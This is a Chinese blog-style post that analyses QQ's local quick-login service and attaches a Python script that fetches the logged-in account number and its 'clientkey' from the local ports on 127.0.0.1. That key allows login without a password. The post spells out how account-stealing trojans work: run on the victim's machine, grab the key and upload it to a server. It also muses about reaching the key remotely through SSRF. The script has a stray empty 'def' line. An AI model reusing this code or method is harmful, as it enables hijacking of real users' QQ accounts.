最近在网上看到有木马上线后可以获取到一个QQKey,利用这个QQKey即可实现无授权登录,经过查阅资料,发现其原理是利用了QQ的快捷登录功能
通过一点点的简答的抓包分析(其实也就是F12打开网络标签页)
本地登录依次请求前面三个链接即可实现获取CliengtKey,请求第四个链接即可实现登陆跳转,完整请求逻辑如下
根据分析,当存在多个账号时,就是依次监听4300~4308的端口以实现多账号选择。
而对于此本地认证服务,根据上图可知,qq完整的免密登录逻辑几乎没有对于本地的安全性检测,唯一做了的就是限制了本地127.0.0.1的端口监听(如上图所示)。
因此现阶段网络上存在的各类盗号软件基本上最直接的逻辑就是,生成恶意程序,发给对方,对方点击运行,程序自动请求上述链接并获取clientKey(QQKEY),并上传至服务器,至此就实现了盗号。
说实话,逻辑真他喵的简单,不过如果能结合其他存在SSRF类型的exp,甚至可以实现远程获取cliengKey实现盗号,不过这也是后话了。
附上Python源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| import requests import json
def getLocalToken(): url = "https://xui.ptlogin2.qq.com/cgi-bin/xlogin?target=self&appid=522005705&daid=4&s_url=https://wx.mail.qq.com/list/readtemplate?name=login_jump.html%26target=&style=25&low_login=1&proxy_url=https://mail.qq.com/proxy.html&need_qr=0&hide_border=1&border_radius=0&self_regurl=http://zc.qq.com/chs/index.html?type=1&app_id=11005?t=regist&pt_feedback_link=http://support.qq.com/discuss/350_1.shtml&css=https://res.mail.qq.com/zh_CN/htmledition/style/ptlogin_input_for_xmail5ec0c8.css" return requests.get(url).cookies['pt_local_token']
def pt_get_uins(pt_local_tk): cookies = { "pt_local_token":str(pt_local_tk), } headers = { "Referer":"https://xui.ptlogin2.qq.com/" } url = "https://localhost.ptlogin2.qq.com:4301/pt_get_uins?callback=ptui_getuins_CB&r=0.9772917378703209&pt_local_tk={pt_local_tk}".format(pt_local_tk=pt_local_tk) data = requests.get(url,headers=headers,cookies=cookies).content.split(b"[")[1].split(b']')[0].decode() data = json.loads("["+data+"]") return data[0]['uin']
def pt_get_st(clientuin,pt_local_tk): cookies = { "pt_local_token":str(pt_local_tk), } headers = { "Referer":"https://xui.ptlogin2.qq.com/" } url = "https://localhost.ptlogin2.qq.com:4301/pt_get_st?clientuin={clientuin}&r=0.5251440802971573&pt_local_tk={pt_local_tk}&callback=__jp0".format(clientuin=clientuin,pt_local_tk=pt_local_tk) data = requests.get(url,headers=headers,cookies=cookies).cookies return data['clientkey']
def
def main(): pt_local_tk = getLocalToken() uid = pt_get_uins(pt_local_tk=pt_local_tk) clientkey = pt_get_st(clientuin=uid,pt_local_tk=pt_local_tk) print(clientkey)
if __name__ == "__main__": main()
|